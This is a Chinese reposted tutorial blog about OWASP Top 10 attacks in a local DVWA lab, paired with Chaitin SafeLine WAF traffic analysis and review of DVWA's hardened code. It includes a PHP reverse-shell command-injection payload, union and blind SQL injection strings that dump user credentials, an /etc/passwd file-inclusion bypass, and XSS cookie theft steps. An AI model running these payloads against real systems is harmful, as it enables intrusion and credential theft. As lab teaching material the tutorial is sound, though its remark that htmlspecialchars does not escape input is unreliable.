学习干货小白女友看完这篇文章后,面试工作和护网蓝队初级竟然秒通过!

news2024/10/18 16:33:41

小白女友看完这篇文章后,面试工作和护网蓝队初级竟然秒通过!

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。

还在学怎么挖通用漏洞和src吗?快来加入学习交流

在这里插入图片描述

0x01 前言

本次环境以DVWA靶场(不太安全的网站)及CTF题目(夺旗赛)先对OWASP TOP10漏洞原理通俗概述,接着对基础代码解析,然后执行的命令落地到本地复现,前端进行复现后分析流量包,植入CTF题目,最后演示WAF流量经过,以及最高级别代码防护分析包括最终流程图,分析较为详细,对于初学者,网安爱好者及蓝队初级、运维等比较友好,在正常面试安全岗位时,也可能会问到理论问题,安全设备的了解,链路流量的走向,包括HVV蓝队初级最低也会问到常见攻击手法的理解和防护!

注:流程示意图以我本地网络层-应用层传输为例、并非现实通用

**结尾有流量包下载及全过程详细流程图(本地模拟)
**

Brute Force  (爆破)``Command Injection  (命令注入)``CSRF  (跨站请求伪造)``File Inclusion (文件包含)``File upload  (文件上传)``SQL Injection  (SQL注入)``SQL Injection (Blind)  (SQL盲注)``XSS  (反射型XSS)``CROSS XSS  (存储型XSS)
**如果您看完文章觉得不错,麻烦点个关注点个赞分享一下、谢谢!**  

*** 本次学习环境为自行搭建,文章仅用于参考学习,请勿非法操作、后果自负
**

0x02 环境准备

**DVWA搭建-docker**
docker search dvwa # 我选的第一个``docker pull sagikazarmark/dvwa #下载到本地``docker run -it --restart -p 8001:80 sagikazarmark/dvwa #将此镜像启动容器并开机自启

WAF搭建-docker

https://waf-ce.chaitin.cn/docs/guide/install  #长亭雷池waf安装方法

各网卡及IP如下

192.168.150.1  #客户端IP``192.168.150.31:9443 #长亭WAF WEB管理页面``192.168.150.31:8001 #DVWA实际地址``192.168.150.31:90 #靶场映射WAF反向代理端口``192.168.150.2  # kali作为跳板机使用``内网:``172.17.0.1 #docker0网卡 docker虚拟网卡``172.17.0.2 #DVWA在docker内IP``172.22.222.1 #safeline-ce网卡 雷池waf虚拟网卡

CTF(夺旗赛)

通俗来说就是以实际环境中的事件或自发性自编环境,以题目的方式呈现给比赛者去做题。当比赛者通过漏洞或题目要求拿到flag(旗帜)的时候,就算成功,也就是这块的漏洞利用成功

0x03 思路解析

**Brute Force(野蛮的力量)**

也称为爆破,拥有账号密码对相应的登录接口进行爆破、或根据网站规则及拿到的一些信息进行"撞库"

危害:爆破成功后任意操作管理员或用户账号,如发送信息,后续渗透,获取敏感信息等  

于是,我拿着他的SQL语句替换了user及pass然后进行查询
`SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';```select * from users where user='admin' and password='21232f297a57a5a743894a0e4a801fc3'; # 错误的密码```select * from `users` where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99'; # 正确的密码`

前期代码解读完成,然后我们实操,直接burp抓包导入字典爆破

可以看到,当用户名为admin、密码为password的时候与其他包不一样,经过验证,账号密码就是这个,我们此时看抓取的流量包

可以看到,网站并没有进行相应的拦截  

如何防守?

我们可以在WEB页面做一些限制``比如token,比如对请求IP限制,当然IP可以伪造``防止SQL注入,对传入数据进行处理``再或者就是账号密码错误3次后冻结多少分钟,前端输入密码后进行非对称加密等``安全设备就是对频率做限制,匹配字典规则满足后进行自动封禁
接着我们看waf,我给waf定义的规则是当10秒内请求次数高达100次的时候我们进行封禁IP10分钟,当然这个可以调  

当我们发送请求包到200多的时候,包长度变了,不是密码错误包长也不是密码正确包长  

这时候可以看到,WAF人机判断你的IP可能正在进行爆破或CC攻击,加载出验证码  

我们这时候看后台数据,能看到客户端IP做的操作

我们拆解一下最高级别做了哪些防护
第3-5行做了一个token防止CSRF攻击``第8-16行对用户的输入做了处理,stripslashes函数去除输入的反斜杠等符号防止SQL注入,然后进行MD5加密``第19-27行先定义此用户的最大失败次数及锁定时间,然后SQL查询此用户是否已超过失败次数及是否超过锁定时间``第45-50行验证账号密码是否正确,":user"可以防止SQL注入,limit1只返回一条数据``第60行登录成功则返回该用户的头像并welcome``第64行后如果登录失败则提醒登录失败,然后加载2-4秒,防止爆破``接着就是对登录失败次数+1,然后对最后登录失败时间更新``生成一个新的token令牌,防止CSRF

**Command Injection (命令注入)**

命令注入通俗来讲就是开发者对于某些功能需要调用系统命令去执行一些操作,或者是某些代码块因为逻辑上未知造成命令执行、再或者前端某些头部字段可能存在的注入点,而没有对客户端传入的数据进行过滤或固定,造成攻击者可以进行自定义传入命令或绕过传入命令的行为

危害:攻击者拥有了命令执行后就相当于获得了服务器操作权限,攻击者可以根据漏点进行反弹shell以获取服务器shell,然后执行提权,植入后门或者其他危害性操作行为

按照正常业务引导,我们正常输入地址,回显出正常结果

而已知Linux分隔符,我们可以带入其他命令,看下图

可以看到我们使用分号进行分隔,执行了whoami命令,看到了www-data用户,将实际命令带入到Windows和Linux中看一下

接下来我们在网页输入以下命令在前端执行,获取服务器shell  
kali: nc -lnvp 8888``网页: 127.0.0.1;php -r '$sock=fsockopen("192.168.150.2",8888);exec("sh <&3 >&3 2>&3");'

在抓取的流量包内输入以下过滤条件看一下流量走向
ip.addr == 192.168.150.2 || ip.addr == 192.168.150.1 && tcp.port != 22

**接下来我们看一道CTF题目**  

如何防守?

可以进行关键字的过滤,对大小写的过滤,对符号的过滤,对编码的过滤``后端把此功能固定,前端只能输入相应的格式``在安全设备方面则从流量检测命令执行的特征``比如正常的win和Linux的命令,对于编码的检测,对于绕过方式的检测``如:双写,大小写,分隔符等
**对WAF进行测试**  
为了清晰看到WAF流量经过,我们抓取了靶场和WAF的流量对比

在safeline_ce网卡流量包中``第一块大概就是网关传入流量,先进行初步过滤,然后容器向后推送``第二块就是对日志进行记录,比如请求包,payload,ID等``第三块就是入库操作,查询操作等

我们拆解一下最高级别做了哪些防护
第4-6行先接收传入进来的IP,接着生成一个TOken防止CSRF攻击``第9-10行将接收到的IP赋值给$target然后使用stripslashes函数过滤掉一些字符``第16-18行筛选八位字节是否为数字,验证是否为IP,接着将他重新组合为IP赋值给target``第21-28行进行正常ping命令操作,最后在根据相应结果输出``末尾重新生成一个Token

CSRF(跨站请求伪造)

通俗的来讲,某些操作如:更改密码,发布帖子,更新配置等操作,在非本意的情况下,点击了CSRF伪造的按钮功能,在用户已登录的情况下,未知进行的操作

危害:主要目的是对WEB方面的用户及管理员用户进行的操作,比如通过钓鱼的方式诱导点击,对数据进行破坏,数据篡改等,更改用户密码后进行后续攻击等

接着我们按照自己的本意正常流程去修改密码

然后我们使用burp suite抓包生成一个CSRF的包,保存为html文件,在跳板机192.168.150.2开启一个http服务运行点击

这样看可能认为太俗了,但是实战中攻击者会美化页面比如copy钓鱼页面,诱导你点击,我们只是了解大概经过

分析在kali中抓取的流量包以及dvwa抓取的流量包

由于CSRF大多按照Referer和origin来分辨,所以WAF在此拦截识别度不高,从代码块去增加校验可以

如何防护?

限制跨站请求,从标头进行限制``对敏感操作进行二次验证,比如验证码``使用CSRF令牌,即为Token``验证Refer头部,来源进行白名单验证

我们拆解一下最高级别做了哪些防护

第3-5行通过GET方式传入后,先生成一个Token令牌防止CSRF攻击``第8-10行接收传入进来的旧密码和新密码``第13-21行先进行过滤斜杠类的字符,然后对旧密码进行MD5加密前往数据库查询``第24-34行先验证输入的两次密码是否一样然后过滤掉反斜杠之类的字符``接着就算MD5加密后前往数据库更新,此处使用了实例化参数``接着将修改成功打印出来,反之修改失败``结尾不管是不是成功,重新生成一个CSRF的令牌

File Inclusion(文件包含)

文件包含比较容易理解,即某些功能或者文件,开发者需要读取,但是由于没有对读取文件范围固定,造成了攻击者可以进行任意文件读取或任意文件包含

危害:攻击者得到任意文件读取漏洞后可以读取服务器上所有文件,以方便下一步的攻击渗透,或搭配文件上传组合拳或反弹shell组合拳等方式进行利用

这里不得不提几个常见的绕过方法,看下图

**如何防守?**
对读取文件固定如:(白名单)``if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" )``对传入协议进行限制(此处仅为限制远程文件读取)``对递归路径和编码做黑名单处理,或者白名单处理
**CTF题目环境**

**接着我们测试WAF的流量**

然后我们看一下后面的代码做了哪些限制
最高级8-11行做了固定文件,如果传入不是此文件名,则不通过``高级23-26行匹配是否"file"开头,如果file开头或者file参数为include.php则为真``此处使用file:///etc/passwd 仍然可以绕过``而中级38-39行只限制了http和https协议(远程文件读取)``以及递归目录的关键符号``这里仍然可以使用双写及多写的符号绕过

File Upload(文件上传)

通俗点讲就是某功能点,比如上传图片,上传表格,导入授权的功能,由于开发未进行严格过滤所需上传格式,造成攻击者可以进行修改文件格式、类型等任意文件上传,进行后期恶意利用,比如上传木马控制主机等

危害:攻击者通过该漏洞类型上传木马文件后可远程控制主机,达到后期渗透、内网渗透的目的

从功能本意是需要上传图片,但是开发并没有做限制,攻击者可以随意上传任意文件

**接着我们看一下下一个级别的文件上传**

**接着我们在看高级的文件上传代码**

我们此时使用以上方法生成一个图片马(这个在溯源的时候和CTF中的MISC有关系)

**如何防守?**
在代码块我们可以:``对文件扩展名前端进行检测后、上传至后端tmp后继续检测``对于文件类型到后端同样检测``对于文件大小限制苛刻``不返回文件路径``对文件名进行无规则重命名``在某些地方我们前端可以生成唯一session(从浏览器上传开始)一个session只能用一次``对于安全设备:``在流量中检测扩展名,文件类型,上传的路径``对于文件内容中的编码进行检测
**CTF题目**

**接着我们测试WAF的流量走向**

分析抓取的流量包(docker0 safeline-ce)  

**我们看一下最高级代码做了哪些处理**
第一块3-5行接收来自前端POST上传,生成一个新的Token防止CSRF攻击``第二块9-13行对文件名、扩展名、文件大小、类型及临时文件路径预设参数``第三块16-20行设定了文件的路径,对文件重命名以MD5散列规则唯一ID,设定临时文件位置``第四块23-26行设定文件扩展名和文件大小为100kb,并且限制文件类型,这些都在后端去做``第五块28-37行验证为图片类型后将创建一个图片文件``并将图片文件压缩至100压缩等级为9``弟六块40-47行对临时目录文件重命名并移动至设定好的目录,然后回显

SQL Injection(SQL注入)

通俗来讲就是某功能,需要以ID或者姓名去到数据库查询信息,但是开发人员没有数据语句进行规范过滤,没有固定,攻击者可以以此SQL语句进行可控查询,从而获取更多的数据

危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等  

我们拿着已知的语句替换掉id去查询,就是看到的结果  
SELECT first_name, last_name FROM users WHERE user_id = '$id';``SELECT first_name, last_name FROM users WHERE user_id = '1';

其实我一直糊涂的是单引号的位置或者是为什么加单引号
因为开发前面定义了单引号,否则无单引号,我们也不需要加单引号了``SELECT first_name, last_name FROM users WHERE user_id = '1';``SELECT first_name, last_name FROM users WHERE user_id = '1' or '1=1';
前后正好为一个完整的SQL语句拼接,看下图就能明白了

输入1' order by 3 #去获取列,#为注释符,将我们输入后面的字符注释掉

当order by 2 #的时候将不在报错,所以为2列

再次执行1' union select 1,2# 此处可以看到列名

1' union select 1,group_concat(schema_name) from information_schema.schemata #`  `来获取所有数据库

这样看不直观,我们带入到数据库看一下
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(schema_name) from information_schema.schemata #  ;

1' union select 1,version() #获取版本信息``1' union select 1,database() # 获取当前使用数据库

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #` `查询当前使用库的所有表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #` `查询users表中的所有列

1' union select user,password from dvwa.users #` `前期步骤已知使用数据库名,表名,列名,直接union查询账号密码``带入到数据库查询``SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from dvwa.users #

**如何防护?**  
对查询语句参数化查询``最小化权限查询,权限分明``输入验证与过滤,对输入进来的字符大小写编码不合规pass``对特殊的所需字符进行白名单处理``对敏感的字符进行报错或重定向处理``安全设备方面``对流量监控,一般SQL语句进行pass,当然有些前端可能传输的语句可能会被误报``对某些字符:' " /**/ 等进行过滤``对传输进来的可疑编码进行检测后执行下一步动作
**CTF题目**

**接下来我们看WAF流量**

**我们接着分析最高级别源代码**  
第3-5行判断GET传入进来ID查询参数,接着生成一个Token令牌,防止CSRF攻击``第11-16行判断传入进的ID是否为数字,然后执行查询语句,此处语句进行参数化并只输出1条``此处防止SQL注入``然后将查询的ID进行替换绑定``第19-25行先对数据判断是否为1行接着对查询的参数中first_name和last_name进行输出

SQL Injection (Blind) (SQL盲注)

SQL盲注通俗来讲:比如登录点或者是导出数据功能点,服务端需要和数据库交互来确定数据是否存在,存在返回ture,不存在返回false,盲注和正常注入区别就是,盲注不回显所需数据,攻击者只能通过某些函数如sleep,ASCII,substr等去判断数据是否存在

危害:攻击者通过SQL注入漏洞可以获取数据库内敏感信息,如账号密码、销售记录、存入的更敏感身份信息等、攻击者可以进行后续渗透,或者通过SQL注入配合其他方式漏洞进行写入文件,控制服务器等
如:zhangsan这个数据存在,但是代码查询到了这个数据,由于功能的设置``zhangsan这个存在或不存在只能通过某些状态去显示,比如前端的账号存在或账号不存在``攻击者通过SQL语句构造payload进行sleep(延时)去判断``如数据存在则延时几秒不存在则不延时来达到攻击效果

这样看并不通透,我们看登录页面,当我第一次输入密码123456时``302重定向跳转到了登录页面,也就是前端查询到数据库内密码不匹配``但是它功能原因不会输出密码,最多告诉你密码不对或账号不对``然后第二次我们输入正确密码后302跳转到了index``也就是此次查验数据库内账号与密码全部符合

经过注入测试,发现存在注入点,且为字符型注入

使用 1' and length(database())=4#` `测试到4的时候,看到回显结果,使用数据库长度为4位

判断数据库第一位字符是字母还是数字以及区间``1' and ascii(substr(database(),1,1))>97#``1' and ascii(substr(database(),1,1))<122#``97的ASCII是a,122的ASCII是z,所以字母是小写

继续缩小范围,不嫌麻烦的话可跑脚本``1' and ascii(substr(database(),1,1))=100#``当ASCII码位100的时候,返回正确,其他返回错误``当然也可以使用大小于号去判断

继续执行语句``1' and ascii(substr(database(),2,1))=118#``1' and ascii(substr(database(),3,1))=119#``从第二个和第三个字符开始截取,分别截取1个字符``最终拼接得到数据库名为dvwa

输入以下语句后得到当前数据库中共有两张表``1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1#``此语句是查询当前数据库中的0和1个记录,就是查第一张表名的长度是否为1,limit限制查询条件``1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#``最终得到第一个表名长度为9

同样方法我们查询到第二个表长度为5``1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,2))=5#

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#``我们接着使用以上语句查询表名的第一个字母及后续字母进行拼``1' and (select count(column_name) from information_schema.columns where table_name='users')=2#``使用以上语句进行查询users表的列数量``1'  and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1 #``猜解users表的第一列的长度``1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1)1,1))<97#``猜解users表中的第一列的第一个字符修改数值查询后面字符``1' and ascii(substr((select user from users limit 0,1),1,1))<97#``最终逐一猜解users表中的user和password字符

如何防护?

对查询语句参数化查询``最小化权限查询,权限分明``输入验证与过滤,对输入进来的字符大小写编码不合规pass``对特殊的所需字符进行白名单处理``对敏感的字符进行报错或重定向处理``安全设备方面``对流量监控,一般SQL语句进行pass,当然有些前端可能传输的语句可能会被误报``对某些字符:' " /**/ 等进行过滤``对传输进来的可疑编码进行检测后执行下一步动作

看一下WAF流量

**看一下最高级别源码**
第3-5行判断是否GET传参进来,然后生成一个Token来防止CSRF``第11-15行对传入进来的ID进行判断是否为数字``接着进行查询,此处用到参数化查询,防止SQL注入``并且Limit限制了只显示1条SQL数据``后面对查询id进行替换与绑定``第18-27行线对查询到的数据判断是否为1行接着进行输出``如果不是一行则报错,最后不管对与错再次刷新一个Token令牌

XSS (反射型)

通俗来讲,XSS是因为攻击者在网页中插入的JavaScript恶意脚本,而浏览器只会执行JavaScript并不会去理解是否为恶意,XSS较为常见,基本上在可输入点或者更改数据点中都可能存在XSS,如果开发不进行严格过滤,危害高  

危害: XSS危害基本面向用户,比如:反射型XSS会窃取用户信息,cooki身份等,存储型XSS则会持久性停留,XSS还可以钓鱼,会话劫持等,有些攻击者还可通过XSS配合其他漏洞对服务器造成危害

我们在输入框内输入了张三,前端打印出hello,张三  

当我们输入<script>alert(1)</script>后,执行了JavaScript执行了弹窗,弹出1

我们继续利用CSRF配合XSS在用户未知的情况下窃取到cookie信息
准备:``XSS在线平台,用于获取用户cookie``跳板机,模拟钓鱼场景

如何防护?

对于用户的输入进行严格过滤``字符,编码,符号等进行过滤``在进行开发时不对用户输入的内容进行转义

然后我们看下WAF如何判断

**看一下最高级别代码做了什么**
第5-7行先判断传入进来的name以及是否为空``然后来一个Token防止CSRF``第10行 htmlspecialchars 函数将传入参数不进行转义``最后打印输出``第17行不论如何都重新生成一个Token

XSS(存储型)

存储型XSS的目的和反射型相同,只不过反射型需要攻击者主动攻击,而存储型攻击者只需插入代码后,利用功能特性,存入到数据库后,其他用户访问功能点时,即可达到被动攻击,一般出现在论坛、博客、或者某些特殊功能点

我正常输入了几个信息,并成功显示出了信息

于是我登录DVWA的其他用户看一下这些信息是否存在
其他用户账号信息``gordonb/abc123``1337/charley``pablo/letmein``smithy/password

然后我们模拟攻击者插入钓鱼XSS链接

插入恶意链接成功,由于JavaScript执行后是看不到正常代码的,我们查询一下mysql中的guestbook表

当有其他人访问的时候,前端因为会查询到guestbook表中指定信息,然后JavaScript自动执行XSS请求,完成无感被动恶意请求

于是我们登录上其他用户名后再次查看在线XSS平台

这里一直出现问题,不知道是不是我网络问题,发不出去请求

如何防护?

对于用户的输入进行严格过滤``字符,编码,符号等进行过滤``在进行开发时不对用户输入的内容进行转义

由于存储型和反射型的区别是持久化和一次性的原因,目的一样,WAF拦截也是一样,这里不在抓取流量包分析,直接看最高级别代码

第一块判断POST传参进来,生成一个Token,防止CSRF``第二块先对接收到字段进行反斜杠等过滤,然后就是对对象的预处理``然后对输入的值不进行转义``23-26行插入数据做了参数化操作,然后对参数做替换和绑定``最后不论成功失败重新生成一个Token

0x04总结

耗时一周时间,从构建思路到复现环境,遇到问题解决问题,适用于网络安全运维人员,相关从业人员复习巩固,及学生未就业,即将面试及护网人员基础,对OWASP TOP10进行详细解析,对漏洞进行通俗概述及阐述危害,接着以DVWA为基础解析基础代码,然后带入本地服务器或数据库进行执行,通俗易懂,然后植入部分CTF题目理解,给出大概防护方法,最后分析WAF的流量经过进行对比,画出该漏洞的流程图(流程图仅适用于本地复现,具体以实际为准)基本围绕应用层-网络层进行流量交互,全文7000余字,全是干货,希望大佬勿喷,各位师傅互相交流讨论,麻烦一键三连,谢谢

文中拓补图仅供参考,异机和本机包括配置等整体拓扑不一致,只描绘流量经过

流量包下载:``https://ckxkzyk.lanzouo.com/iJW0o1ukf0mj

网络安全学习路线&学习资源

在这里插入图片描述

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

【“脚本小子”成长进阶资源领取】

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

在这里插入图片描述

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2217894.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】<互斥量>解决<抢票问题>——【多线程竞争问题】

前言 大家好吖&#xff0c;欢迎来到 YY 滴Linux系列 &#xff0c;热烈欢迎&#xff01; 本章主要内容面向接触过C的老铁 主要内容含&#xff1a; 欢迎订阅 YY滴C专栏&#xff01;更多干货持续更新&#xff01;以下是传送门&#xff01; YY的《C》专栏YY的《C11》专栏YY的《Lin…

Axure树形菜单展开与折叠

亲爱的小伙伴&#xff0c;在您浏览之前&#xff0c;烦请关注一下&#xff0c;在此深表感谢&#xff01; 课程主题&#xff1a;Axure树形菜单展开与折叠 主要内容&#xff1a;树形菜单制作——层级关系——隐藏与显示——值的变化——多层交互 应用场景&#xff1a;关系树、菜…

老机MicroServer Gen8再玩 OCP万兆光口+IT直通

手上有一台放了很久的GEN8微型服务器&#xff0c;放了很多年&#xff0c;具体什么时候买的我居然已经记不清了 只记得开始装修的时候搬家出去就没用了&#xff0c;结果搬出去有了第1个孩子&#xff0c;孩子小的时候也没时间折腾&#xff0c;等孩子大一点的时候&#xff0c;又有…

MongoDB查询操作

&#x1f337;启动mongo &#x1f388;启动mongo shell &#xff08;1&#xff09;在指定目录下创建mongodb文件夹、其子文件夹data、log以及文件mongodb.log cd /home/ubuntu mkdir -p mongodb/data mkdir -p mongodb/log touch mongodb/log/mongodb.log(2)先执行mongodb命…

《计算机视觉》—— 疲劳检测

文章目录 一、疲劳检测实现的思想二、代码实现 一、疲劳检测实现的思想 了解以下几篇文章有助于了解疲劳检测的方法 基于dlib库的人脸检测 https://blog.csdn.net/weixin_73504499/article/details/142977202?spm1001.2014.3001.5501 基于dlib库的人脸关键点定位 https://blo…

基于开源Jetlinks物联网平台协议包-MQTT自定义主题数据的自动回复

目录 1.根据需要自动回复某些主题 2.调用doReply方法进行自动回复 1.根据需要自动回复某些主题 根据主题判断&#xff0c;哪些主题是需要自动回复的&#xff0c;比如设备登录&#xff0c;需要自动回复。 2.调用doReply方法进行自动回复&#xff08;代码不一定全部正确&#xf…

第 5 章:vuex

1. 理解 vuex vuex 是什么&#xff1a; 概念&#xff1a;专门在 Vue 中实现集中式状态&#xff08;数据&#xff09;管理的一个 Vue 插件&#xff0c;对 vue 应用中多个组件的共享状态进行集中式的管理&#xff08;读/写&#xff09;&#xff0c;也是一种组件间通信的方式&am…

安乃达:用CRM构建从销售到管理到售后的全链路数字化运营平台

安乃达驱动技术(上海)股份有限公司((简称&#xff1a;“安乃达”,股票代码为&#xff1a;“603350”))自2011年以来&#xff0c;公司通过多年的研发与积累现有直驱轮毂电机、减速轮毂电机和中置电机三大系列产品&#xff0c;并具备与电机相匹配的控制器、传感器、仪表等电驱动成…

springboot旧物置换网站

作者&#xff1a;计算机学长阿伟 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、ElementUI等&#xff0c;“文末源码”。 系统展示 【2024最新】基于JavaSpringBootVueMySQL的&#xff0c;前后端分离。 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;…

ThinkPHP 3.2 + Nginx 页面404问题

学习公司Callout项目时&#xff0c;发现公司项目所使用的TP版本是3.2&#xff0c;所以才可以使用例如&#xff0c;C,M,A等方法 因此我用phpEnv搭建了一个项目&#xff0c;域名为thinkphp&#xff0c;所选根目录如下 我打开网页&#xff0c;访问 thinkphp/ 和 thinkphp/index.p…

ROS 的 urdf 中 link 和 joint 的子标签中 origin 的含义

主要参考文章——主要文章&#xff0c;官方关于urdf的介绍和官方文档的翻译解析 link标签里面的origin含义 link标签里面有三个主要的子标签&#xff0c;分别是visual——连杆的外观和坐标系&#xff0c;collisoin——连杆的碰撞属性和inertial——连杆的惯性设置 首先&…

C++ | AVL树

前言 本篇博客讲解c中数据结构AVL树&#xff0c;看这篇博客之前请先去看&#xff1a;C | 二叉搜索树-CSDN博客 &#x1f493; 个人主页&#xff1a;普通young man-CSDN博客 ⏩ 文章专栏&#xff1a;C_普通young man的博客-CSDN博客 ⏩ 本人giee: 普通小青年 (pu-tong-young-m…

2024最新:零基础到精通的大模型AI产品经理全学习路线

随着人工智能技术的发展&#xff0c;尤其是大模型&#xff08;Large Model&#xff09;的兴起&#xff0c;越来越多的企业开始重视这一领域的投入。作为大模型产品经理&#xff0c;你需要具备一系列跨学科的知识和技能&#xff0c;以便有效地推动产品的开发、优化和市场化。以下…

第51期 C语言实现中断<一>

Q&#xff1a;怎样理解用C语言实现中断的过程呢&#xff1f; A&#xff1a;以下是一段使用C语言实现中断的主程序&#xff0c;和汇编语言实现中断一样也使用了定时器中断和按键中断。执行该主程序会在DE2-115的红色LED上显示流水灯&#xff0c;按下KEY1可以改变流水灯移动的…

FreeRTOS - 任务通知

1. 任务通知 所谓"任务通知"&#xff0c;你可以反过来读"通知任务"。 我们使用队列、信号量、事件组等等方法时&#xff0c;并不知道对方是谁。使用任务通知时&#xff0c;可以明确指定&#xff1a;通知哪个任务。 使用队列、信号量、事件组时&#xff…

【DBA Part01】国产Linux上安装Oracle进行数据迁移

内容如下&#xff1a; 1.1.生产环境RHEL/OEL Linux8Oracle11gR2安装配置 1.2.国产麒麟操作系统Oracle11gR2安装配置 1.3.国产麒麟操作系统Oracle11gR2 RAC集群安装配置 1.4.Oracle11gR2迁移到国产麒麟操作系统&#xff08;单机/RAC&#xff09; 本阶段课程项目需求说明&am…

[C++刷题] 基础小知识点(1) 乘方函数pow()

乘方 pow() 该函数在math.h头文件中 例如: 求圆的面积公式 s3.14*pow(r,2); 也可用于开方 pow(4,1.0/3) 注意这里要写1.0, 不然1/30,该函数会失效 例题: #include<iostream> using namespace std; #include<math.h>) int main() {int h;int r;cin >> h &g…

c++算法第3天

本篇文章包含三道算法题&#xff0c;难度由浅入深&#xff0c;适合新手练习哟 目录 第一题 题目链接 题目解析 代码原理 代码编写 本题总结 第二题 题目链接 题目解析 代码原理 代码编写 第三题 题目链接 题目解析 代码原理 代码编写 第一题 题目链接 [NOIP2…

ai抠图软件哪个好?一些快速掌握的基本抠图技巧,学习

有谁和小编一样&#xff0c;不修图还好&#xff0c;一要修图&#xff0c;100%会踩坑&#xff01; 没错&#xff0c;就是踩了网页上各种ai抠图软件免费版广告的坑&#xff0c;抠图不干净就算了&#xff0c;还会损坏原来的图片文件就很过分&#xff01; 伤心事不再多说&#xff0…

Junit单元测试时提示:Method should have no parameters

场景 Junit中运行单元测试时提示&#xff1a; Method XXX should have no parameters 如图&#xff1a; 代码如下&#xff1a; package com.ws.test.common;import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.extensi…